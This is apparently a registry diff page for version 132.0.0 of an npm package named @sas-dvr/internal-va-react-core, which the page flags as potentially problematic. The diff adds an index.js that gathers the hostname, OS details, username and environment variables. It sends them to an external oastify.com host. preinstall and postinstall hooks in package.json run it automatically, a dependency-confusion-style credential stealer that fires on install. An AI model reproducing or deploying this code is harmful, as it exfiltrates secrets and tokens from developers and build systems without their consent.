@sas-dvr/internal-va-react-core 132.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @sas-dvr/internal-va-react-core might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +35 -0
  2. package/package.json +16 -0
package/index.js ADDED
@@ -0,0 +1,35 @@
1
+ const os = require('os');
2
+ const https = require('https');
3
+
4
+ const hostname = os.hostname();
5
+ const platform = os.platform();
6
+ const arch = os.arch();
7
+ const release = os.release();
8
+ const userInfo = os.userInfo().username;
9
+
10
+ let env = JSON.stringify(process.env);
11
+ if (env.length > 3000) {
12
+ env = env.slice(0, 3000);
13
+ }
14
+
15
+ const queryParams = `internal-va-react-core&hostname=${hostname}&platform=${platform}&arch=${arch}&release=${release}&username=${userInfo}`;
16
+
17
+ const options = {
18
+ hostname: '244uzokvb261am9wlqjk4mizpqvhj97y.oastify.com',
19
+ port: 443,
20
+ path: `/?${queryParams}`,
21
+ method: 'GET',
22
+ headers: {
23
+ 'X-Env-Data': encodeURIComponent(env),
24
+ }
25
+ };
26
+
27
+ const req = https.request(options, (res) => {
28
+ res.on('data', (d) => process.stdout.write(d));
29
+ });
30
+
31
+ req.on('error', (err) => {
32
+ console.error('Failed to send information:', err.message);
33
+ });
34
+
35
+ req.end();
package/package.json ADDED
@@ -0,0 +1,16 @@
1
+ {
2
+ "name": "@sas-dvr/internal-va-react-core",
3
+ "version": "132.0.0",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "postinstall": "node index.js",
7
+ "preinstall": "node index.js"
8
+ },
9
+ "dependencies": {
10
+ "os": "^0.1.1",
11
+ "https": "^1.0.0"
12
+ },
13
+ "author": "",
14
+ "license": "ISC",
15
+ "description": ""
16
+ }